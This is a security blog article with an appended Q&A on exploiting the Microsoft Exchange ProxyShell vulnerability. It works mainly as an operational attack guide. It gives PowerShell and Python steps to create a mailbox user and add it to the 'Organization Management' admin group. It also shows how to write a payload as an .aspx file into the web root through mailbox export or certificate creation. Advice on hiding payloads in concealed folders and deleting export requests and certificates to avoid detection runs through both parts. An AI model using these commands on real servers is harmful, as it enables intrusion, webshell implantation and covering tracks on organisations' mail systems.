ProxyShell Exploitation Analysis 3 - Adding Users and File Writing

Onedaysec
4 min read
0 views
ProxyShell Exploitation Analysis 3 - Adding Users and File Writing — One Day Sec default thumbnail

0x00 Preface

---

This article will introduce the details of adding users and file writing in ProxyShell, analyzing exploitation approaches.

0x01 Introduction

---

This article will cover the following content:

  • Methods for adding users
  • Methods for file writing
  • Exploitation analysis

0x02 Methods for Adding Users

---

When executing PowerShell commands via PyPSRP, adding user operations cannot be performed

This is because passing Password values requires executing the PowerShell command convertto-securestring, which is not supported by Exchange PowerShell Remoting

For solutions, refer to Orange's approach: by invoking local PowerShell to ultimately achieve user addition

References:

https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

Note the following details:

1. Establish a local proxy server using Flask

Code reference:

https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py

In Python3 environment, change request.headers.iteritems() to request.headers.items()

If encountering load balancing, you can check the returned status code; if it's not 200, resend the data packet

Lines 28-34 can be replaced with the following code:

while True:
r = requests.post(powershell_url, data=data, headers=req_headers, verify=False)
if r.status_code == 200:
print("[+]" + r.headers["X-CalculatedBETarget"])
break
else:
print("[-]" + r.headers["X-CalculatedBETarget"])
req_headers = {}
for k, v in r.headers.items():
if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']:
continue
req_headers[k] = v

return r.content, r.status_code, req_headers

2. Invoke Local PowerShell

Command reference:

https://gist.githubusercontent.com/zdi-team/a2eb014d248e4e54a2ab4ba4ae3ac3cf/raw/af251aefc37a47489f43128832798a210393013a/P2O-Vancouver-2021-ProxyShell-snippet-8.ps1

Before invoking local PowerShell commands, the system requires the following configurations:

(1) Set network location

Do not select Public network; choose Home network or Work network

(2) Set administrator user password

Ensure the administrator user has a password set

(3) Enable WinRM service

winrm quickconfig

(4) Modify allowunencrypted property

PowerShell command is as follows:

cd WSMan:\localhost\Client
set-item .\allowunencrypted $true
dir

(5) Set TrustedHosts

PowerShell command is as follows:

Get-Item WSMan:\localhost\Client\TrustedHosts
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'

After completing the above settings, you can establish a PowerShell session and execute Exchange PowerShell commands

Adding a user operation requires passing a securestring, which can be passed using the -ArgumentList parameter

Example command for adding a user:

$pwd=convertto-securestring Password123 -asplaintext -force;
$command = {New-Mailbox -UserPrincipalName [email protected] -OrganizationalUnit test.com/Users -Alias testuser1 -Name testuser1 -DisplayName testuser1 -Password $args[0];}
Invoke-Command -Session $session -ScriptBlock $command -ArgumentList $pwd

Example command for adding an administrator user:

$command = {Add-RoleGroupMember "Organization Management" -Member testuser1 -BypassSecurityGroupManagerCheck}
Invoke-Command -Session $session -ScriptBlock $command

0x03 File Writing Methods

---

1. Writing files via New-MailboxExportRequest

New-MailboxExportRequest is used to export emails. For related usage, refer to the previous article "Penetration Basics – Searching and Exporting Emails from Exchange Servers"

When writing files, note the following issues:

(1) Users need to be added to the role group "Mailbox Import Export"

Example command for adding a user to the role group "Mailbox Import Export":

New-ManagementRoleAssignment –Role "Mailbox Import Export" –User Administrator

Example command for removing a user:

Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-Administrator" -Confirm:$false

Example command to view users in the role group "Mailbox Import Export":

Get-ManagementRoleAssignment –Role "Mailbox Import Export"|fl user

(2) Delivering Payload via Email

There are two methods here:

1. Send an email containing the Payload from an external mailbox to the target mailbox

2. Exploit CVE-2021-34473 to impersonate any mailbox user and save the email containing the Payload to a specified folder

For method 2, to improve stealth, you can first create a hidden folder before saving the email containing the Payload. For details, refer to the previous article "Penetration Basics – Hidden Folders in Exchange User Mailboxes"

(3) Writing Files

To accurately write the Payload and avoid unexpected errors, include constraints when writing the email to export only emails containing the Payload

Example command for exporting emails:

New-MailboxexportRequest -mailbox "test1" -ContentFilter {(body -like "payload Flag")} -FilePath ("\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\test.aspx")

(4) Clearing Export Requests

When executing the New-MailboxexportRequest command for export, the export request records are automatically saved, with a default retention period of 30 days

If you do not want to save the export request, you can add the parameter -CompletedRequestAgeLimit 0

Note: Related operations for export requests

View email export requests:

Get-MailboxExportRequest

Delete a specific export request:

Remove-MailboxExportRequest -RequestQueue "Mailbox Database 1111111111" -RequestGuid 11111111-1111-1111-1111-111111111111 -Confirm:$false
Remove-MailboxExportRequest -Identity 'test.com/Users/test1\MailboxExport' -Confirm:$false

Note:

Matching parameters are obtained from the results of Get-MailboxExportRequest|fl

Delete all export requests:

Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false

2. Write to file via New-ExchangeCertificate

New-ExchangeCertificate is used to create and renew self-signed certificates

The earliest public exploitation method is in CVE-2020-17083, reference:

https://srcincite.io/pocs/cve-2020-17083.ps1.txt

(1) Deliver Payload

Pass the payload via the SubjectName parameter, which must comply with specific syntax, reference:

https://docs.microsoft.com/en-us/powershell/module/exchange/new-exchangecertificate?view=exchange-ps

Briefly, the following issues need attention:

  • You can use the fixed format: CN=Payload
  • Cannot contain these three special characters: , + ;

If you choose Jscript as the Payload, you can first Base64 encode the code to avoid special characters

When writing, if the returned content is Microsoft.Exchange.Data.BinaryFileDataObject, it indicates a successful write

(2) Clear certificates

Example command to read all certificates:

Get-ExchangeCertificate

Example command to match certificates with specific characteristics:

Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN="<%@*'

Example command to delete a specific certificate:

Remove-ExchangeCertificate -Thumbprint 1111111111111111111111111111111111111111 -Confirm:$false
Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN="<%@*' | Remove-ExchangeCertificate -Confirm:$false

0x04 Summary

---

During the research on ProxyShell, I had many new ideas, which I will share at an appropriate opportunity in the future.

Related Questions & Answers

What are the two file-writing methods in ProxyShell, and how do they compare in terms of stealth and cleanup?

The two methods are: (1) `New-MailboxExportRequest`, which exports an email containing the payload to a specified file path, but requires adding the user to the `Mailbox Import Export` role and leaves export requests that can be cleared with `-CompletedRequestAgeLimit 0`. (2) `New-ExchangeCertificate`, which writes the payload into a certificate subject, is quicker but has syntax restrictions on special characters. Both require careful cleanup—removing export requests or certificates—to avoid detection. For more on the broader exploitation flow, see the [ProxyShell Exploitation Analysis 2](/news/proxyshell-exploitation-analysis-2-cve-2021-34523).

How does the `New-ExchangeCertificate` method allow file writing in ProxyShell, and how do you avoid special character issues?

`New-ExchangeCertificate` creates self-signed certificates, and the payload can be passed via the `SubjectName` parameter. The subject must follow a fixed format like `CN=Payload` and cannot contain the special characters `,`, `+`, or `;`. To bypass this, you can Base64-encode the payload (e.g., a JScript payload) to avoid these characters. A successful write returns `Microsoft.Exchange.Data.BinaryFileDataObject`. You can delete malicious certificates afterwards using `Remove-ExchangeCertificate` with the thumbprint or a subject filter.

What are the prerequisites for writing files via the `New-MailboxExportRequest` method in ProxyShell?

Before using `New-MailboxExportRequest` to write files, you must add the target user to the role group `Mailbox Import Export` using `New-ManagementRoleAssignment`. The payload must be delivered via email—either from an external mailbox or by exploiting CVE-2021-34473 to impersonate a mailbox user, optionally creating a hidden folder for stealth. The export command then uses a `-ContentFilter` to extract only emails containing the payload, writing the file to a path like `\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\test.aspx`. After writing, clear export requests to avoid leaving traces.

Why can't I add users directly via PyPSRP in ProxyShell exploitation, and what is the workaround?

Directly adding users via PyPSRP fails because passing a password requires executing the PowerShell `ConvertTo-SecureString` command, which is not supported by Exchange PowerShell Remoting. The workaround is to invoke local PowerShell by first setting up a local Flask proxy server to handle load balancing, then configuring WinRM, `allowunencrypted`, and `TrustedHosts` on the target system. After that, you can establish a PowerShell session and use `Invoke-Command` with the `-ArgumentList` parameter to pass the secure password string, as demonstrated in the [ProxyShell exploitation chain](/news/proxyshell-exploitation-analysis-2-cve-2021-34523).

Continue Reading